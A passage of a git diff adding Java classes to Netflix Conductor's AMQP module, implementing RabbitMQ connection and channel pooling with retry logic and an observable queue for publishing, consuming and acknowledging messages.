ConcurrentHashMap>(); + private static final Map subscriberReservedChannelPool = + new ConcurrentHashMap(); + private static AMQPRetryPattern retrySettings = null; + + private AMQPConnection() {} + + private AMQPConnection(final ConnectionFactory factory, final Address[] address) { + this.factory = factory; + this.addresses = address; + } + + public static synchronized AMQPConnection getInstance( + final ConnectionFactory factory, + final Address[] address, + final AMQPRetryPattern retrySettings) { + if (AMQPConnection.amqpConnection == null) { + AMQPConnection.amqpConnection = new AMQPConnection(factory, address); + } + AMQPConnection.retrySettings = retrySettings; + return AMQPConnection.amqpConnection; + } + + // Exposed for UT + public static void setAMQPConnection(AMQPConnection amqpConnection) { + AMQPConnection.amqpConnection = amqpConnection; + } + + public Address[] getAddresses() { + return addresses; + } + + private Connection createConnection(String connectionPrefix) { + int retryIndex = 1; + while (true) { + try { + Connection connection = + factory.newConnection( + addresses, System.getenv("HOSTNAME") + "-" + connectionPrefix); + if (connection == null || !connection.isOpen()) { + throw new RuntimeException("Failed to open connection"); + } + connection.addShutdownListener( + new ShutdownListener() { + @Override + public void shutdownCompleted(ShutdownSignalException cause) { + LOGGER.error( + "Received a shutdown exception for the connection {}. reason {} cause{}", + connection.getClientProvidedName(), + cause.getMessage(), + cause); + } + }); + connection.addBlockedListener( + new BlockedListener() { + @Override + public void handleUnblocked() throws IOException { + LOGGER.info( + "Connection {} is unblocked", + connection.getClientProvidedName()); + } + + @Override + public void handleBlocked(String reason) throws IOException { + LOGGER.error( + "Connection {} is blocked. reason: {}", + connection.getClientProvidedName(), + reason); + } + }); + return connection; + } catch (final IOException e) { + AMQPRetryPattern retry = retrySettings; + if (retry == null) { + final String error = + "IO error while connecting to " + + Arrays.stream(addresses) + .map(address -> address.toString()) + .collect(Collectors.joining(",")); + LOGGER.error(error, e); + throw new RuntimeException(error, e); + } + try { + retry.continueOrPropogate(e, retryIndex); + } catch (Exception ex) { + final String error = + "Retries completed. IO error while connecting to " + + Arrays.stream(addresses) + .map(address -> address.toString()) + .collect(Collectors.joining(",")); + LOGGER.error(error, e); + throw new RuntimeException(error, e); + } + retryIndex++; + } catch (final TimeoutException e) { + AMQPRetryPattern retry = retrySettings; + if (retry == null) { + final String error = + "Timeout while connecting to " + + Arrays.stream(addresses) + .map(address -> address.toString()) + .collect(Collectors.joining(",")); + LOGGER.error(error, e); + throw new RuntimeException(error, e); + } + try { + retry.continueOrPropogate(e, retryIndex); + } catch (Exception ex) { + final String error = + "Retries completed. Timeout while connecting to " + + Arrays.stream(addresses) + .map(address -> address.toString()) + .collect(Collectors.joining(",")); + LOGGER.error(error, e); + throw new RuntimeException(error, e); + } + retryIndex++; + } + } + } + + public Channel getOrCreateChannel(ConnectionType connectionType, String queueOrExchangeName) + throws Exception { + LOGGER.debug( + "Accessing the channel for queueOrExchange {} with type {} ", + queueOrExchangeName, + connectionType); + switch (connectionType) { + case SUBSCRIBER: + String subChnName = connectionType + ";" + queueOrExchangeName; + if (subscriberReservedChannelPool.containsKey(subChnName)) { + Channel locChn = subscriberReservedChannelPool.get(subChnName); + if (locChn != null && locChn.isOpen()) { + return locChn; + } + } + synchronized (this) { + if (subscriberConnection == null || !subscriberConnection.isOpen()) { + subscriberConnection = createConnection(SUBSCRIBER); + } + } + Channel subChn = borrowChannel(connectionType, subscriberConnection); + // Add the subscribed channels to Map to avoid messages being acknowledged on + // different from the subscribed one + subscriberReservedChannelPool.put(subChnName, subChn); + return subChn; + case PUBLISHER: + synchronized (this) { + if (publisherConnection == null || !publisherConnection.isOpen()) { + publisherConnection = createConnection(PUBLISHER); + } + } + return borrowChannel(connectionType, publisherConnection); + default: + return null; + } + } + + private Channel getOrCreateChannel(ConnectionType connType, Connection rmqConnection) { + // Channel creation is required + Channel locChn = null; + int retryIndex = 1; + while (true) { + try { + LOGGER.debug("Creating a channel for " + connType); + locChn = rmqConnection.createChannel(); + if (locChn == null || !locChn.isOpen()) { + throw new RuntimeException("Fail to open " + connType + " channel"); + } + locChn.addShutdownListener( + cause -> { + LOGGER.error( + connType + " Channel has been shutdown: {}", + cause.getMessage(), + cause); + }); + return locChn; + } catch (final IOException e) { + AMQPRetryPattern retry = retrySettings; + if (retry == null) { + throw new RuntimeException( + "Cannot open " + + connType + + " channel on " + + Arrays.stream(addresses) + .map(address -> address.toString()) + .collect(Collectors.joining(",")), + e); + } + try { + retry.continueOrPropogate(e, retryIndex); + } catch (Exception ex) { + throw new RuntimeException( + "Retries completed. Cannot open " + + connType + + " channel on " + + Arrays.stream(addresses) + .map(address -> address.toString()) + .collect(Collectors.joining(",")), + e); + } + retryIndex++; + } catch (final Exception e) { + AMQPRetryPattern retry = retrySettings; + if (retry == null) { + throw new RuntimeException( + "Cannot open " + + connType + + " channel on " + + Arrays.stream(addresses) + .map(address -> address.toString()) + .collect(Collectors.joining(",")), + e); + } + try { + retry.continueOrPropogate(e, retryIndex); + } catch (Exception ex) { + throw new RuntimeException( + "Retries completed. Cannot open " + + connType + + " channel on " + + Arrays.stream(addresses) + .map(address -> address.toString()) + .collect(Collectors.joining(",")), + e); + } + retryIndex++; + } + } + } + + public void close() { + LOGGER.info("Closing all connections and channels"); + try { + closeChannelsInMap(ConnectionType.PUBLISHER); + closeChannelsInMap(ConnectionType.SUBSCRIBER); + closeConnection(publisherConnection); + closeConnection(subscriberConnection); + } finally { + availableChannelPool.clear(); + publisherConnection = null; + subscriberConnection = null; + } + } + + private void closeChannelsInMap(ConnectionType conType) { + Set channels = availableChannelPool.get(conType); + if (channels != null && !channels.isEmpty()) { + Iterator itr = channels.iterator(); + while (itr.hasNext()) { + Channel channel = itr.next(); + closeChannel(channel); + } + channels.clear(); + } + } + + private void closeConnection(Connection connection) { + if (connection == null || !connection.isOpen()) { + LOGGER.warn("Connection is null or closed already. Not closing it again"); + } else { + try { + connection.close(); + } catch (Exception e) { + LOGGER.warn("Fail to close connection: {}", e.getMessage(), e); + } + } + } + + private void closeChannel(Channel channel) { + if (channel == null || !channel.isOpen()) { + LOGGER.warn("Channel is null or closed already. Not closing it again"); + } else { + try { + channel.close(); + } catch (Exception e) { + LOGGER.warn("Fail to close channel: {}", e.getMessage(), e); + } + } + } + + /** + * Gets the channel for specified connectionType. + * + * @param connectionType holds the multiple channels for different connection types for thread + * safe operation. + * @param rmqConnection publisher or subscriber connection instance + * @return channel instance + * @throws Exception + */ + private synchronized Channel borrowChannel( + ConnectionType connectionType, Connection rmqConnection) throws Exception { + if (!availableChannelPool.containsKey(connectionType)) { + Channel channel = getOrCreateChannel(connectionType, rmqConnection); + LOGGER.info(String.format(AMQPConstants.INFO_CHANNEL_CREATION_SUCCESS, connectionType)); + return channel; + } + Set channels = availableChannelPool.get(connectionType); + if (channels != null && channels.isEmpty()) { + Channel channel = getOrCreateChannel(connectionType, rmqConnection); + LOGGER.info(String.format(AMQPConstants.INFO_CHANNEL_CREATION_SUCCESS, connectionType)); + return channel; + } + Iterator itr = channels.iterator(); + while (itr.hasNext()) { + Channel channel = itr.next(); + if (channel != null && channel.isOpen()) { + itr.remove(); + LOGGER.info( + String.format(AMQPConstants.INFO_CHANNEL_BORROW_SUCCESS, connectionType)); + return channel; + } else { + itr.remove(); + } + } + Channel channel = getOrCreateChannel(connectionType, rmqConnection); + LOGGER.info(String.format(AMQPConstants.INFO_CHANNEL_RESET_SUCCESS, connectionType)); + return channel; + } + + /** + * Returns the channel to connection pool for specified connectionType. + * + * @param connectionType + * @param channel + * @throws Exception + */ + public synchronized void returnChannel(ConnectionType connectionType, Channel channel) + throws Exception { + if (channel == null || !channel.isOpen()) { + channel = null; // channel is reset. + } + Set channels = availableChannelPool.get(connectionType); + if (channels == null) { + channels = new HashSet(); + availableChannelPool.put(connectionType, channels); + } + channels.add(channel); + LOGGER.info(String.format(AMQPConstants.INFO_CHANNEL_RETURN_SUCCESS, connectionType)); + } +} diff --git a/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/AMQPObservableQueue.java b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/AMQPObservableQueue.java new file mode 100644 index 0000000..f81dd5b --- /dev/null +++ b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/AMQPObservableQueue.java @@ -0,0 +1,874 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp; + +import java.io.IOException; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicInteger; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.contribs.queue.amqp.config.AMQPEventQueueProperties; +import com.netflix.conductor.contribs.queue.amqp.config.AMQPRetryPattern; +import com.netflix.conductor.contribs.queue.amqp.util.AMQPConstants; +import com.netflix.conductor.contribs.queue.amqp.util.AMQPSettings; +import com.netflix.conductor.contribs.queue.amqp.util.ConnectionType; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.metrics.Monitors; + +import com.google.common.collect.Maps; +import com.rabbitmq.client.AMQP; +import com.rabbitmq.client.Address; +import com.rabbitmq.client.Channel; +import com.rabbitmq.client.ConnectionFactory; +import com.rabbitmq.client.Consumer; +import com.rabbitmq.client.DefaultConsumer; +import com.rabbitmq.client.Envelope; +import com.rabbitmq.client.GetResponse; +import rx.Observable; +import rx.Subscriber; + +/** + * @author Ritu Parathody + */ +public class AMQPObservableQueue implements ObservableQueue { + + private static final Logger LOGGER = LoggerFactory.getLogger(AMQPObservableQueue.class); + + private final AMQPSettings settings; + private final AMQPRetryPattern retrySettings; + private final String QUEUE_TYPE = "x-queue-type"; + private final int batchSize; + private final boolean useExchange; + private int pollTimeInMS; + private AMQPConnection amqpConnection; + + protected LinkedBlockingQueue messages = new LinkedBlockingQueue<>(); + private volatile boolean running; + + public AMQPObservableQueue( + ConnectionFactory factory, + Address[] addresses, + boolean useExchange, + AMQPSettings settings, + AMQPRetryPattern retrySettings, + int batchSize, + int pollTimeInMS) { + if (factory == null) { + throw new IllegalArgumentException("Connection factory is undefined"); + } + if (addresses == null || addresses.length == 0) { + throw new IllegalArgumentException("Addresses are undefined"); + } + if (settings == null) { + throw new IllegalArgumentException("Settings are undefined"); + } + if (batchSize <= 0) { + throw new IllegalArgumentException("Batch size must be greater than 0"); + } + if (pollTimeInMS <= 0) { + throw new IllegalArgumentException("Poll time must be greater than 0 ms"); + } + this.useExchange = useExchange; + this.settings = settings; + this.batchSize = batchSize; + this.amqpConnection = AMQPConnection.getInstance(factory, addresses, retrySettings); + this.retrySettings = retrySettings; + this.setPollTimeInMS(pollTimeInMS); + } + + @Override + public Observable observe() { + Observable.OnSubscribe onSubscribe = null; + // This will enabled the messages to be processed one after the other as per the + // observable next behavior. + if (settings.isSequentialProcessing()) { + LOGGER.info("Subscribing for the message processing on schedule basis"); + receiveMessages(); + onSubscribe = + subscriber -> { + Observable interval = + Observable.interval(pollTimeInMS, TimeUnit.MILLISECONDS); + interval.flatMap( + (Long x) -> { + if (!isRunning()) { + LOGGER.debug( + "Component stopped, skip listening for messages from RabbitMQ"); + return Observable.from(Collections.emptyList()); + } else { + List available = new LinkedList<>(); + messages.drainTo(available); + + if (!available.isEmpty()) { + AtomicInteger count = new AtomicInteger(0); + StringBuilder buffer = new StringBuilder(); + available.forEach( + msg -> { + buffer.append(msg.getId()) + .append("=") + .append(msg.getPayload()); + count.incrementAndGet(); + + if (count.get() + < available.size()) { + buffer.append(","); + } + }); + LOGGER.info( + String.format( + "Batch from %s to conductor is %s", + settings + .getQueueOrExchangeName(), + buffer.toString())); + } + return Observable.from(available); + } + }) + .subscribe(subscriber::onNext, subscriber::onError); + }; + LOGGER.info("Subscribed for the message processing on schedule basis"); + } else { + onSubscribe = + subscriber -> { + LOGGER.info("Subscribing for the event based AMQP message processing"); + receiveMessages(subscriber); + LOGGER.info("Subscribed for the event based AMQP message processing"); + }; + } + return Observable.create(onSubscribe); + } + + @Override + public String getType() { + return useExchange ? AMQPConstants.AMQP_EXCHANGE_TYPE : AMQPConstants.AMQP_QUEUE_TYPE; + } + + @Override + public String getName() { + return settings.getEventName(); + } + + @Override + public String getURI() { + return settings.getQueueOrExchangeName(); + } + + public int getBatchSize() { + return batchSize; + } + + public AMQPSettings getSettings() { + return settings; + } + + public Address[] getAddresses() { + return amqpConnection.getAddresses(); + } + + public List ack(List messages) { + final List failedMessages = new ArrayList<>(); + if (!useExchange) { + // only attempt to ack messages when using queues. + // it makes no sense to ack over exchange since the messages are no longer there. + for (final Message message : messages) { + try { + ackMsg(message); + } catch (final Exception e) { + LOGGER.error( + "Cannot ACK message with delivery tag {}", message.getReceipt(), e); + failedMessages.add(message.getReceipt()); + } + } + } + return failedMessages; + } + + public void ackMsg(Message message) throws Exception { + int retryIndex = 1; + while (true) { + try { + LOGGER.info("ACK message with delivery tag {}", message.getReceipt()); + Channel chn = + amqpConnection.getOrCreateChannel( + ConnectionType.SUBSCRIBER, getSettings().getQueueOrExchangeName()); + chn.basicAck(Long.parseLong(message.getReceipt()), false); + LOGGER.info("Ack'ed the message with delivery tag {}", message.getReceipt()); + break; + } catch (final Exception e) { + AMQPRetryPattern retry = retrySettings; + if (retry == null) { + LOGGER.error( + "Cannot ACK message with delivery tag {}", message.getReceipt(), e); + throw e; + } + try { + retry.continueOrPropogate(e, retryIndex); + } catch (Exception ex) { + LOGGER.error( + "Retries completed. Cannot ACK message with delivery tag {}", + message.getReceipt(), + e); + throw ex; + } + retryIndex++; + } + } + } + + @Override + public void nack(List messages) { + for (final Message message : messages) { + int retryIndex = 1; + while (true) { + try { + LOGGER.info("NACK message with delivery tag {}", message.getReceipt()); + Channel chn = + amqpConnection.getOrCreateChannel( + ConnectionType.SUBSCRIBER, + getSettings().getQueueOrExchangeName()); + chn.basicNack(Long.parseLong(message.getReceipt()), false, false); + LOGGER.info("Nack'ed the message with delivery tag {}", message.getReceipt()); + break; + } catch (final Exception e) { + AMQPRetryPattern retry = retrySettings; + if (retry == null) { + LOGGER.error( + "Cannot NACK message with delivery tag {}", + message.getReceipt(), + e); + } + try { + retry.continueOrPropogate(e, retryIndex); + } catch (Exception ex) { + LOGGER.error( + "Retries completed. Cannot NACK message with delivery tag {}", + message.getReceipt(), + e); + break; + } + retryIndex++; + } + } + } + } + + private static AMQP.BasicProperties buildBasicProperties( + final Message message, final AMQPSettings settings) { + return new AMQP.BasicProperties.Builder() + .messageId( + StringUtils.isEmpty(message.getId()) + ? UUID.randomUUID().toString() + : message.getId()) + .correlationId( + StringUtils.isEmpty(message.getReceipt()) + ? UUID.randomUUID().toString() + : message.getReceipt()) + .contentType(settings.getContentType()) + .contentEncoding(settings.getContentEncoding()) + .deliveryMode(settings.getDeliveryMode()) + .build(); + } + + private void publishMessage(Message message, String exchange, String routingKey) { + Channel chn = null; + int retryIndex = 1; + while (true) { + try { + final String payload = message.getPayload(); + chn = + amqpConnection.getOrCreateChannel( + ConnectionType.PUBLISHER, getSettings().getQueueOrExchangeName()); + chn.basicPublish( + exchange, + routingKey, + buildBasicProperties(message, settings), + payload.getBytes(settings.getContentEncoding())); + LOGGER.info(String.format("Published message to %s: %s", exchange, payload)); + break; + } catch (Exception ex) { + AMQPRetryPattern retry = retrySettings; + if (retry == null) { + LOGGER.error( + "Failed to publish message {} to {}", + message.getPayload(), + exchange, + ex); + throw new RuntimeException(ex); + } + try { + retry.continueOrPropogate(ex, retryIndex); + } catch (Exception e) { + LOGGER.error( + "Retries completed. Failed to publish message {} to {}", + message.getPayload(), + exchange, + ex); + throw new RuntimeException(ex); + } + retryIndex++; + } finally { + if (chn != null) { + try { + amqpConnection.returnChannel(ConnectionType.PUBLISHER, chn); + } catch (Exception e) { + LOGGER.error( + "Failed to return the channel of {}. {}", + ConnectionType.PUBLISHER, + e); + } + } + } + } + } + + @Override + public void publish(List messages) { + try { + final String exchange, routingKey; + if (useExchange) { + // Use exchange + routing key for publishing + getOrCreateExchange( + ConnectionType.PUBLISHER, + settings.getQueueOrExchangeName(), + settings.getExchangeType(), + settings.isDurable(), + settings.autoDelete(), + settings.getArguments()); + exchange = settings.getQueueOrExchangeName(); + routingKey = settings.getRoutingKey(); + } else { + // Use queue for publishing + final AMQP.Queue.DeclareOk declareOk = + getOrCreateQueue( + ConnectionType.PUBLISHER, + settings.getQueueOrExchangeName(), + settings.isDurable(), + settings.isExclusive(), + settings.autoDelete(), + settings.getArguments()); + exchange = StringUtils.EMPTY; // Empty exchange name for queue + routingKey = declareOk.getQueue(); // Routing name is the name of queue + } + messages.forEach(message -> publishMessage(message, exchange, routingKey)); + } catch (final RuntimeException ex) { + throw ex; + } catch (final Exception ex) { + LOGGER.error("Failed to publish messages: {}", ex.getMessage(), ex); + throw new RuntimeException(ex); + } + } + + @Override + public void setUnackTimeout(Message message, long unackTimeout) { + throw new UnsupportedOperationException(); + } + + @Override + public long size() { + Channel chn = null; + try { + chn = + amqpConnection.getOrCreateChannel( + ConnectionType.SUBSCRIBER, getSettings().getQueueOrExchangeName()); + + return switch (settings.getType()) { + case EXCHANGE -> chn.messageCount(settings.getExchangeBoundQueueName()); + case QUEUE -> chn.messageCount(settings.getQueueOrExchangeName()); + }; + } catch (final Exception e) { + throw new RuntimeException(e); + } finally { + if (chn != null) { + try { + amqpConnection.returnChannel(ConnectionType.SUBSCRIBER, chn); + } catch (Exception e) { + LOGGER.error( + "Failed to return the channel of {}. {}", ConnectionType.SUBSCRIBER, e); + } + } + } + } + + @Override + public void close() { + amqpConnection.close(); + } + + @Override + public void start() { + LOGGER.info( + "Started listening to {}:{}", + getClass().getSimpleName(), + settings.getQueueOrExchangeName()); + running = true; + } + + @Override + public void stop() { + LOGGER.info( + "Stopped listening to {}:{}", + getClass().getSimpleName(), + settings.getQueueOrExchangeName()); + running = false; + } + + @Override + public boolean isRunning() { + return running; + } + + public static class Builder { + + private final Address[] addresses; + private final int batchSize; + private final int pollTimeInMS; + private final ConnectionFactory factory; + private final AMQPEventQueueProperties properties; + + public Builder(AMQPEventQueueProperties properties) { + this.properties = properties; + this.addresses = buildAddressesFromHosts(); + this.factory = buildConnectionFactory(); + // messages polling settings + this.batchSize = properties.getBatchSize(); + this.pollTimeInMS = (int) properties.getPollTimeDuration().toMillis(); + } + + private Address[] buildAddressesFromHosts() { + // Read hosts from config + final String hosts = properties.getHosts(); + if (StringUtils.isEmpty(hosts)) { + throw new IllegalArgumentException("Hosts are undefined"); + } + return Address.parseAddresses(hosts); + } + + private ConnectionFactory buildConnectionFactory() { + final ConnectionFactory factory = new ConnectionFactory(); + // Get rabbitmq username from config + final String username = properties.getUsername(); + if (StringUtils.isEmpty(username)) { + throw new IllegalArgumentException("Username is null or empty"); + } else { + factory.setUsername(username); + } + // Get rabbitmq password from config + final String password = properties.getPassword(); + if (StringUtils.isEmpty(password)) { + throw new IllegalArgumentException("Password is null or empty"); + } else { + factory.setPassword(password); + } + // Get vHost from config + final String virtualHost = properties.getVirtualHost(); + ; + if (StringUtils.isEmpty(virtualHost)) { + throw new IllegalArgumentException("Virtual host is null or empty"); + } else { + factory.setVirtualHost(virtualHost); + } + // Get server port from config + final int port = properties.getPort(); + if (port <= 0) { + throw new IllegalArgumentException("Port must be greater than 0"); + } else { + factory.setPort(port); + } + final boolean useNio = properties.isUseNio(); + if (useNio) { + factory.useNio(); + } + final boolean useSslProtocol = properties.isUseSslProtocol(); + if (useSslProtocol) { + try { + factory.useSslProtocol(); + } catch (NoSuchAlgorithmException | KeyManagementException e) { + throw new IllegalArgumentException("Invalid sslProtocol ", e); + } + } + factory.setConnectionTimeout(properties.getConnectionTimeoutInMilliSecs()); + factory.setRequestedHeartbeat(properties.getRequestHeartbeatTimeoutInSecs()); + factory.setNetworkRecoveryInterval(properties.getNetworkRecoveryIntervalInMilliSecs()); + factory.setHandshakeTimeout(properties.getHandshakeTimeoutInMilliSecs()); + factory.setAutomaticRecoveryEnabled(true); + factory.setTopologyRecoveryEnabled(true); + factory.setRequestedChannelMax(properties.getMaxChannelCount()); + return factory; + } + + public AMQPObservableQueue build( + final boolean useExchange, final String queueURI, final String queueType) { + final AMQPSettings settings = new AMQPSettings(properties, queueType).fromURI(queueURI); + final AMQPRetryPattern retrySettings = + new AMQPRetryPattern( + properties.getLimit(), properties.getDuration(), properties.getType()); + return new AMQPObservableQueue( + factory, + addresses, + useExchange, + settings, + retrySettings, + batchSize, + pollTimeInMS); + } + } + + private AMQP.Exchange.DeclareOk getOrCreateExchange(ConnectionType connectionType) + throws Exception { + return getOrCreateExchange( + connectionType, + settings.getQueueOrExchangeName(), + settings.getExchangeType(), + settings.isDurable(), + settings.autoDelete(), + settings.getArguments()); + } + + private AMQP.Exchange.DeclareOk getOrCreateExchange( + ConnectionType connectionType, + String name, + final String type, + final boolean isDurable, + final boolean autoDelete, + final Map arguments) + throws Exception { + if (StringUtils.isEmpty(name)) { + throw new RuntimeException("Exchange name is undefined"); + } + if (StringUtils.isEmpty(type)) { + throw new RuntimeException("Exchange type is undefined"); + } + Channel chn = null; + try { + LOGGER.debug("Creating exchange {} of type {}", name, type); + chn = + amqpConnection.getOrCreateChannel( + connectionType, getSettings().getQueueOrExchangeName()); + return chn.exchangeDeclare(name, type, isDurable, autoDelete, arguments); + } catch (final Exception e) { + LOGGER.warn("Failed to create exchange {} of type {}", name, type, e); + throw e; + } finally { + if (chn != null) { + try { + amqpConnection.returnChannel(connectionType, chn); + } catch (Exception e) { + LOGGER.error("Failed to return the channel of {}. {}", connectionType, e); + } + } + } + } + + private AMQP.Queue.DeclareOk getOrCreateQueue(ConnectionType connectionType) throws Exception { + return getOrCreateQueue( + connectionType, + settings.getQueueOrExchangeName(), + settings.isDurable(), + settings.isExclusive(), + settings.autoDelete(), + settings.getArguments()); + } + + private AMQP.Queue.DeclareOk getOrCreateQueue( + ConnectionType connectionType, + final String name, + final boolean isDurable, + final boolean isExclusive, + final boolean autoDelete, + final Map arguments) + throws Exception { + if (StringUtils.isEmpty(name)) { + throw new RuntimeException("Queue name is undefined"); + } + arguments.put(QUEUE_TYPE, settings.getQueueType()); + Channel chn = null; + try { + LOGGER.debug("Creating queue {}", name); + chn = + amqpConnection.getOrCreateChannel( + connectionType, getSettings().getQueueOrExchangeName()); + return chn.queueDeclare(name, isDurable, isExclusive, autoDelete, arguments); + } catch (final Exception e) { + LOGGER.warn("Failed to create queue {}", name, e); + throw e; + } finally { + if (chn != null) { + try { + amqpConnection.returnChannel(connectionType, chn); + } catch (Exception e) { + LOGGER.error("Failed to return the channel of {}. {}", connectionType, e); + } + } + } + } + + private static Message asMessage(AMQPSettings settings, GetResponse response) throws Exception { + if (response == null) { + return null; + } + final Message message = new Message(); + message.setId(response.getProps().getMessageId()); + message.setPayload(new String(response.getBody(), settings.getContentEncoding())); + message.setReceipt(String.valueOf(response.getEnvelope().getDeliveryTag())); + return message; + } + + private void receiveMessagesFromQueue(String queueName) throws Exception { + LOGGER.debug("Accessing channel for queue {}", queueName); + + Consumer consumer = + new DefaultConsumer( + amqpConnection.getOrCreateChannel( + ConnectionType.SUBSCRIBER, + getSettings().getQueueOrExchangeName())) { + + @Override + public void handleDelivery( + final String consumerTag, + final Envelope envelope, + final AMQP.BasicProperties properties, + final byte[] body) + throws IOException { + try { + Message message = + asMessage( + settings, + new GetResponse( + envelope, properties, body, Integer.MAX_VALUE)); + if (message != null) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug( + "Got message with ID {} and receipt {}", + message.getId(), + message.getReceipt()); + } + messages.add(message); + LOGGER.info("receiveMessagesFromQueue- End method {}", messages); + } + } catch (InterruptedException e) { + LOGGER.error( + "Issue in handling the mesages for the subscriber with consumer tag {}. {}", + consumerTag, + e); + Thread.currentThread().interrupt(); + } catch (Exception e) { + LOGGER.error( + "Issue in handling the mesages for the subscriber with consumer tag {}. {}", + consumerTag, + e); + } + } + + public void handleCancel(String consumerTag) throws IOException { + LOGGER.error( + "Recieved a consumer cancel notification for subscriber {}", + consumerTag); + } + }; + + amqpConnection + .getOrCreateChannel( + ConnectionType.SUBSCRIBER, getSettings().getQueueOrExchangeName()) + .basicConsume(queueName, false, consumer); + Monitors.recordEventQueueMessagesProcessed(getType(), queueName, messages.size()); + } + + private void receiveMessagesFromQueue(String queueName, Subscriber subscriber) + throws Exception { + LOGGER.debug("Accessing channel for queue {}", queueName); + + Consumer consumer = + new DefaultConsumer( + amqpConnection.getOrCreateChannel( + ConnectionType.SUBSCRIBER, + getSettings().getQueueOrExchangeName())) { + + @Override + public void handleDelivery( + final String consumerTag, + final Envelope envelope, + final AMQP.BasicProperties properties, + final byte[] body) + throws IOException { + try { + Message message = + asMessage( + settings, + new GetResponse( + envelope, properties, body, Integer.MAX_VALUE)); + if (message == null) { + return; + } + LOGGER.info( + "Got message with ID {} and receipt {}", + message.getId(), + message.getReceipt()); + LOGGER.debug("Message content {}", message); + // Not using thread-pool here as the number of concurrent threads are + // controlled + // by the number of messages delivery using pre-fetch count in RabbitMQ + Thread newThread = + new Thread( + () -> { + LOGGER.info( + "Spawning a new thread for message with ID {}", + message.getId()); + subscriber.onNext(message); + }); + newThread.start(); + } catch (InterruptedException e) { + LOGGER.error( + "Issue in handling the mesages for the subscriber with consumer tag {}. {}", + consumerTag, + e); + Thread.currentThread().interrupt(); + } catch (Exception e) { + LOGGER.error( + "Issue in handling the mesages for the subscriber with consumer tag {}. {}", + consumerTag, + e); + } + } + + public void handleCancel(String consumerTag) throws IOException { + LOGGER.error( + "Recieved a consumer cancel notification for subscriber {}", + consumerTag); + } + }; + amqpConnection + .getOrCreateChannel( + ConnectionType.SUBSCRIBER, getSettings().getQueueOrExchangeName()) + .basicConsume(queueName, false, consumer); + } + + protected void receiveMessages() { + try { + amqpConnection + .getOrCreateChannel( + ConnectionType.SUBSCRIBER, getSettings().getQueueOrExchangeName()) + .basicQos(batchSize); + String queueName; + if (useExchange) { + // Consume messages from an exchange + getOrCreateExchange(ConnectionType.SUBSCRIBER); + /* + * Create queue if not present based on the settings provided in the queue URI + * or configuration properties. Sample URI format: + * amqp_exchange:myExchange?bindQueueName=myQueue&exchangeType=topic&routingKey=myRoutingKey&exclusive + * =false&autoDelete=false&durable=true Default settings if not provided in the + * queue URI or properties: isDurable: true, autoDelete: false, isExclusive: + * false The same settings are currently used during creation of exchange as + * well as queue. TODO: This can be enhanced further to get the settings + * separately for exchange and queue from the URI + */ + final AMQP.Queue.DeclareOk declareOk = + getOrCreateQueue( + ConnectionType.SUBSCRIBER, + settings.getExchangeBoundQueueName(), + settings.isDurable(), + settings.isExclusive(), + settings.autoDelete(), + Maps.newHashMap()); + // Bind the declared queue to exchange + queueName = declareOk.getQueue(); + amqpConnection + .getOrCreateChannel( + ConnectionType.SUBSCRIBER, getSettings().getQueueOrExchangeName()) + .queueBind( + queueName, + settings.getQueueOrExchangeName(), + settings.getRoutingKey()); + } else { + // Consume messages from a queue + queueName = getOrCreateQueue(ConnectionType.SUBSCRIBER).getQueue(); + } + // Consume messages + LOGGER.info("Consuming from queue {}", queueName); + receiveMessagesFromQueue(queueName); + } catch (Exception exception) { + LOGGER.error("Exception while getting messages from RabbitMQ", exception); + Monitors.recordObservableQMessageReceivedErrors(getType()); + } + } + + protected void receiveMessages(Subscriber subscriber) { + try { + amqpConnection + .getOrCreateChannel( + ConnectionType.SUBSCRIBER, getSettings().getQueueOrExchangeName()) + .basicQos(batchSize); + String queueName; + if (useExchange) { + // Consume messages from an exchange + getOrCreateExchange(ConnectionType.SUBSCRIBER); + /* + * Create queue if not present based on the settings provided in the queue URI + * or configuration properties. Sample URI format: + * amqp_exchange:myExchange?bindQueueName=myQueue&exchangeType=topic&routingKey=myRoutingKey&exclusive + * =false&autoDelete=false&durable=true Default settings if not provided in the + * queue URI or properties: isDurable: true, autoDelete: false, isExclusive: + * false The same settings are currently used during creation of exchange as + * well as queue. TODO: This can be enhanced further to get the settings + * separately for exchange and queue from the URI + */ + final AMQP.Queue.DeclareOk declareOk = + getOrCreateQueue( + ConnectionType.SUBSCRIBER, + settings.getExchangeBoundQueueName(), + settings.isDurable(), + settings.isExclusive(), + settings.autoDelete(), + Maps.newHashMap()); + // Bind the declared queue to exchange + queueName = declareOk.getQueue(); + amqpConnection + .getOrCreateChannel( + ConnectionType.SUBSCRIBER, settings.getQueueOrExchangeName()) + .queueBind( + queueName, + settings.getQueueOrExchangeName(), + settings.getRoutingKey()); + } else { + // Consume messages from a queue + queueName = getOrCreateQueue(ConnectionType.SUBSCRIBER).getQueue(); + } + // Consume messages + LOGGER.info("Consuming from queue {}", queueName); + receiveMessagesFromQueue(queueName, subscriber); + } catch (Exception exception) { + LOGGER.error("Exception while getting messages from RabbitMQ", exception); + Monitors.recordObservableQMessageReceivedErrors(getType()); + } + } + + public int getPollTimeInMS() { + return pollTimeInMS; + } + + public void setPollTimeInMS(int pollTimeInMS) { + this.pollTimeInMS = pollTimeInMS; + } +} diff --git a/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueConfiguration.java b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueConfiguration.java new file mode 100644 index 